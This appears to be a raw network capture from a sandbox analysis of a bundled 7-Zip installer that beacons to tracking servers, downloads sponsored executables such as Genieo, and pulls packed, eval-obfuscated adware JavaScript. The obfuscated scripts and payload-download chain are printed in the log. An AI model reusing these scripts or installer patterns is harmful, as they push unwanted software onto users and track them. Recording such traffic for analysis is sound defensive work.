GET /p.ashx?e=QHucCbLl /brPsk3N17xhDEOJYAmH59VBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4Z8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX1I07m/8d9H/wBc8lsOAv28Lhu0b45kiT8IWTdc0BVRzshiWv5Ja8Fbs IILilpWF2W4ZI0w3yOP6AmNqIc/gwefLntFW0zc701JCwbnyZJvRrEIY7kGBxo JtFmX42fhH8BpzHlelGWhoQhcnWLYhOuZT5QepDhWmQg3QHod5Z21J2oWtKgdry832UNbAoK/njVi4sZ3RnB2tZQoC/3uQW76DHhyPlPnnqo/1LnfVQ9f9gejmj1PrNLuIZ1cXUjSsKxu3ZFk07dHS99ziAbLKWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvURwCLbVB4E8DQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=QHucCbLl /brPsk3N17xhDEOJYAmH59VBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4Z8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX1I07m/8d9H/wBc8lsOAv28Lhu0b45kiT9X2V/SFN607WhPkLraqHTm0JQd5HxgIXdYj3QXM9Milyo96KQrvxHzFtz73aJdyQ/x2rnnZ1myvAYW9S0NvtE11Ff326eBUKM2DWOos5gJTPVRa612MCCoVT8ZD/qVCe8s7ryaZlSWLio96KQrvxHzFtz73aJdyQ9Jlc78HmG6uFm/8kdPVFjtH5r657g2KtDeB XuEEhLemBkEcRezI1tbKcP 39NITxafZWAq087najzXAEtZeOtcko2uiNsRA5AuVLaeAArntWhxpjwBSJ8dV1 PcKMtTrG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H0IS37QBYr6WNZiv78qWFsam6Mpeg1mvvHNMP8nao3Fux/YGiaRiIxO HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48063dea20b45680e17876b6616b1aa7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ijlPAMa5yLVEHm4vQ2bU8Bq7KdmH_mY-sa14Cz8pQcPkFDhWifiShg==

....

GET /p.ashx?e=QHucCbLl /brPsk3N17xhDEOJYAmH59VBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4Z8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX1I07m/8d9H/wBc8lsOAv28Lhu0b45kiT8FwTBnjqtB6SJSQWKLfKoAjgb6v7cXpPtruJ2zeNP9BRjldEvIPSqUjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48063dea20b45680e17876b6616b1aa7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: HI855_-6H1YoxPjHVYaiXPddkltKdhCwiCo9L1zvTdQFzuaG6TMY3w==

....

GET /p.ashx?e=WL9usJOVMsOEyHZoFFyrCMxndPpeZYzTZZBhpU6L/HaMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCF3ZW0PGtWBl1gKkdlz1lRocKxf5n vItbBDL0iBnLmUkphfdOL Ldg/rY7TKOFg0m94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48063dea20b45680e17876b6616b1aa7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 1ZuWy2eSwgsW52Dvx5d-T6HxMT3dStvA3q6CvdIwQiGuYTWrya1Xhw==

....

GET /p.ashx?e=WVbe3wHlwMHMZ3T6XmWM02WQYaVOi/x2jA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLwUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqrWb9MsNDYghd2VtDxrVgZdYCpHZc9ZUaGLbhvor/ikhRQC drCF7eFGydUMzSPr4NgHSKOy1EnF Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1Zb8mmTeOJI67buUgzFbYTjzaWIpEqmcyo6G50zk5zx4MGKbw8hQN3Qw= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48063dea20b45680e17876b6616b1aa7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Xp4BzW4Gnehm7KMMcQodQEV8k0yyPoGt65pNUDAGcbfT1dwGyaCwEA==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:12 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 48063dea20b45680e17876b6616b1a
a7.cloudfront.net (CloudFront)..X-Amz-Cf-Id: Xp4BzW4Gnehm7KMMcQodQEV8k
0yyPoGt65pNUDAGcbfT1dwGyaCwEA==......

GET /p.ashx?e=Ka qOJkckoVPNjxRBLtb453nP6cJ9p2Y/WD6e6SZIIGq9exvwYRubwRSl12vCJvFj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PTXoMXpqBnYfUmclGtPsM1nyBfkdHFoABe6pljsVW0GPgTxIUcsgQ wXg4f2W/FIIe57fKBs7R9TyVbkDkM9cyX4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:15 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48063dea20b45680e17876b6616b1aa7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: TsIZdzIZS029Tui_GHNorJ4oDjiETODVXF1ktundDWPmdj4FuhTiRQ==

....

GET /p.ashx?e=657cd9m3NQFPNjxRBLtb48Mv3ZvOI2yo/WD6e6SZIIGq9exvwYRubwRSl12vCJvFj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PTXoMXpqBnYfUmclGtPsM1n12EELBUZsE1QAPEg9HAY/7i9yaZDVXNnKYX3Ti/i3YOWcmQ2qx PSIgI4Iz7fz4ZjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:16 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48063dea20b45680e17876b6616b1aa7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6o9fYK262I_2qHKqAcGvA4zqnC9R4ticzOeMERSVhmnYZQMCNRKIlA==

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=sourceapp_sem&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=4&index_in_screen=1&index_in_session=4&0.6836616873137087 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1332783022.1420692710.1420692710.1420692710.1; __utmb=1.1.10.1420692710; __utmc=1; __utmz=1.1420692710.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:52:59 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:52:59 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=1&index_in_screen=1&index_in_session=1&0.10465623877104008 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1332783022.1420692710.1420692710.1420692710.1; __utmb=1.2.10.1420692710; __utmc=1; __utmz=1.1420692710.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:53:00 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:53:00 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /?HID=16567493462586752620&BITS=11&PID=55627 HTTP/1.1

Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17

Host: installcollection.com


HTTP/1.1 200 OK

Server: openresty

Date: Thu, 08 Jan 2015 04:57:20 GMT

Content-Type: application/json; charset=UTF-8

Content-Length: 2

Connection: close
{}..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71390-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 214168

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71390-285557/285558

Age: 3473

X-Cache: Hit from cloudfront

Via: 1.1 12b9ffa1142d5a36277905dd14dd78dd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 2zHOFr-AtwXqwN2sCppRTnRvl9Iiv--xXIBhIIXHAiCB0BhmAZBsRg==
..IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.L
.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!..
._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..a
G.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:.
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b.......
IO[[email protected].....].<.........g.mG.
.as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<...
...8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O;
...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O....
0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%i
~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...o
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.if
.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!..
cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:C
p.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...=
.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...Z
y.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq.
zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A....
xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h.
C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@.
n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3G
..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.x<<< skipped >>>

GET /sbitin/javascript.js?hid=25383020-30f5-408f-b983-88ab51edfcbf&apptitle=ShopperPro&channel=iF18wJSsmtycl HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: i.sbitinjs.info

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: openresty/1.5.12.1

Date: Thu, 08 Jan 2015 04:54:22 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Thu, 08 Jan 2015 08:54:22 GMT

Cache-Control: max-age=14400

X-Origin: opt

X-Accel-Expires: 0
1c1b../**. * See hXXp://VVV.sbitinjs.info/ for details.. * . * Copyrig
ht (C) 2014 sbitinjs.info. All rights reserved.. */..(function(){try{v
ar tagUrl="hXXp://i.sbitinjs.info/sbitin/javascript.js?hid=25383020-30
f5-408f-b983-88ab51edfcbf&apptitle=ShopperPro&channel=iF18wJSsmtycl&co
untryCode=UA&sset=7&ip=193.138.244.231";if(typeof window.JavaScriptJsT
agUrl==='undefined'||window.JavaScriptJsTagUrl==null){window.JavaScrip
tJsTagUrl=tagUrl}}catch(e){}try{if(typeof window.JavaScriptJsTags==='u
ndefined'||window.JavaScriptJsTags==null){window.JavaScriptJsTags=""}i
f(window.JavaScriptJsTags.length>0){window.JavaScriptJsTags=window.
JavaScriptJsTags " : "}window.JavaScriptJsTags=window.JavaScriptJsTags
 tagUrl}catch(e2){}})();..eval(function(p,a,c,k,e,r){e=function(c){ret
urn(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 2
9):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]
||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};wh
ile(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);ret
urn p}('6 n;6 o;4(9 2m==="8"){4(9 5==="8"){6 2n=c 2o(T){4(T.h("1X")>
;=0)7 T;t{6 18="";1q(6 i=0;i<T.N;i =2)18=18 2p.2q(2r(T.1r(i,2),16))
;7 18}u(2s){7 T}};6 19="i";6 1a="y";4(O.1b(P 13("1Y\\z","g"))){6 1s=O.
1b(P 13("1Y\\z(. ?)($|\\14|#)"))[1];4(1s.N>0&&1s==="G"){19="2t";4(O
.1b(P 13("1Z\\z","g"))){6 1t=O.1b(P 13("1Z\\z(. ?)($|\\14|#)"))[1];4(1
t.N>0&&1t==="G")1a="G"}}}5={"B":"2u","C":"","U":"","V":"","2v":"","
19":19,"1c":"","1u":"","K":"","1a":1a,"1v":"","1w":"","W":"","Q":"<<< skipped >>>

GET /opt_content.js?v=opt_1419351787852&partner=sbitin&channel=sbitiniF18wJSsmtycl&sset=7&appTitle=ShopperPro&sset=7&ip=193.138.244.231 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: i.sbitinjs.info

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: openresty/1.5.12.1

Date: Thu, 08 Jan 2015 04:54:22 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Sun, 11 Jan 2015 04:54:22 GMT

Cache-Control: max-age=259200

X-Origin: opt

X-Accel-Expires: 0
8283../**. * See hXXp://VVV.sbitinjs.info/ for details.. * . * Copyrig
ht (C) 2014 sbitinjs.info. All rights reserved.. */..(function(){try{v
ar tagUrl="hXXp://i.sbitinjs.info/opt_content.js?v=opt_1419351787852&p
artner=sbitin&channel=sbitiniF18wJSsmtycl&sset=7&appTitle=ShopperPro&s
set=7&ip=193.138.244.231&countryCode=UA&sset=7&ip=193.138.244.231";if(
typeof window.JavaScriptJsTagUrl==='undefined'||window.JavaScriptJsTag
Url==null){window.JavaScriptJsTagUrl=tagUrl}}catch(e){}try{if(typeof w
indow.JavaScriptJsTags==='undefined'||window.JavaScriptJsTags==null){w
indow.JavaScriptJsTags=""}if(window.JavaScriptJsTags.length>0){wind
ow.JavaScriptJsTags=window.JavaScriptJsTags " : "}window.JavaScriptJsT
ags=window.JavaScriptJsTags tagUrl}catch(e2){}})();..eval(function(p,a
,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>
;35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,Stri
ng)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=funct
ion(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b
' e(c) '\\b','g'),k[c]);return p}('"1h"===1g $&&($="a");"1h"===1g 1d&&
(14(a,b){14 d(a){17 f.9R(a)?a:9===a.1O?a.84||a.uy:!1}14 e(a){if(!ya[a]
){1b b=u.2y,c=f("\\2o" a "\\1E").dh(b),d=c.1M("35");c.3i();if("42"===d
||""===d){fa||(fa=u.2B("6M"),fa.jV=fa.2k=fa.2l=0);b.3j(fa);if(!ka||!fa
.2B)ka=(fa.di||fa.jW).1n,ka.uz(("jX"===u.jY?"\\2o!uA 2d\\1E":"") "\\uB
\\1E\\uC\\1E"),ka.uD();c=ka.2B(a);ka.2y.3j(c);d=f.1M(c,"35");b.6N(fa)}
ya[a]=d}17 ya[a]}14 c(a,b){1b c={};f.1C(Ha.bq.2G([],Ha.3D(0,b)),14<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=pricefountain&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=2&index_in_screen=1&index_in_session=2&0.00945544236874668 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1332783022.1420692710.1420692710.1420692710.1; __utmb=1.1.10.1420692710; __utmc=1; __utmz=1.1420692710.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:52:33 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:52:33 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/8bcb66b22b13e545b4025cefa77c7e57?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d16a55el92698t.cloudfront.net

If-Modified-Since: Sun, 26 Oct 2014 17:23:05 GMT

Connection: Keep-Alive


HTTP/1.1 304 Not Modified

Connection: keep-alive

Date: Thu, 08 Jan 2015 04:57:23 GMT

Server: nginx

Expires: Sun, 04 Jan 2015 05:11:58 GMT

Cache-Control: max-age=600

Age: 129

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 a0cd3c154119f898daec6f46a61b739d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: UIHidhuKORaaRkViPLuRK8OpRinQj5zf03pL60gu2d7r63FxyE5GTA==

HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Thu, 08 Jan 2
015 04:57:23 GMT..Server: nginx..Expires: Sun, 04 Jan 2015 05:11:58 GM
T..Cache-Control: max-age=600..Age: 129..Vary: Accept-Encoding..X-Cach
e: Hit from cloudfront..Via: 1.1 a0cd3c154119f898daec6f46a61b739d.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: UIHidhuKORaaRkViPLuRK8OpRinQj5zf
03pL60gu2d7r63FxyE5GTA==..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=138810-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Type: application/octet-stream

Content-Length: 971666

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 138810-1110475/1110476
.:..q...v.......c.....)F../ ..I7.....<U^.J....;..... .C..TYa..24...
T......r<wz.<{.b.].6Vb......:.b.=&.E/.M}. .73]....d#...x... ..G|
.R..Z9 T.......~qX.?...(*yI)q.2.|Uj.0.2.....Vo...2...@.*Tg..CJ......7r
.i'.....k..|96W.......^YI....*...,S!.u!O&.......H.y.o....$A..4.(F.w.#.
a....n..L..2..ba..j.a.H.?..\[email protected].,.f..
.......M..Q...i.3LX...7.RJD....4...&....*5JE.6f.q"v.........q[.....x.s
9..8q..0...q.......B/......9......L2B}.~g..%..L. .....4....HQ.C.q!...q
<|].^c.*4....Zb1x.^...D$.(.u."......_0...5....x..6i. ........V1....
..I.*E.*...-..x.._.....1.6.D.56.:..W....F.......P.w..h...kE.........v.
.......`....%.......<.`....yu.2.....<...j2..'b.....>ie..t..k.
I.o.....Gy....V.y.z."..a......K...O..PH...#..6..4..|Im....t......LH.?.
d...h....>..}...............B.|X...>..L..*^..~.`9..*.Jk0..".....
!;...A....s.1.....g..m(N..:ed'...p.acr...\.sc.%..>.......c...;.#.kV
..........E.{...g...i...ol....(V!..{)F.....krQ&.[..<.b...C~S......%
0..Z.Xg.......KT9.,......U....a......n{$.QZ8]h... .......\.N.Q]...f...
6....an4-..,........V..u........%.6.B..q.^..j..r!.....=f....K3..=.:..[
..-..9.....*.'(Y#....S...5N....z..........[.,e..._...Q.R =..u...0l..t&
lt;...N.7.-..dG.....VFm.s) .......#.F..#.Thn#@...g.z.RO.....,.s.....$.
.L..-Y.w......^.Fi....<&.:.."8p..3..U........ ..?7 r.x}.6.......rY.
vwO~Jl....H..K*.T ......x!...9.d..6.ps..Q.H....</J.>..'}pRxV...0
%...KJ...a >YJ.....N.._..s...%.....C?....V.....Cp.IkZ.<_O*.):...
n.U-..O3.[....id...Y..ps,.#.).gso..^.U.,.c...{..T....r..... .x..H.<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: Gfy43EkyZP8wf8eTsZSYy49Uytg6 mXGBPIxkK7o6FFQ3KZ8QqrqoU066iUdkD3MfOSOjeWmzG8=

x-amz-request-id: 200C95F626633B52

Date: Thu, 08 Jan 2015 04:55:18 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Type: application/octet-stream

Content-Length: 988408

Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
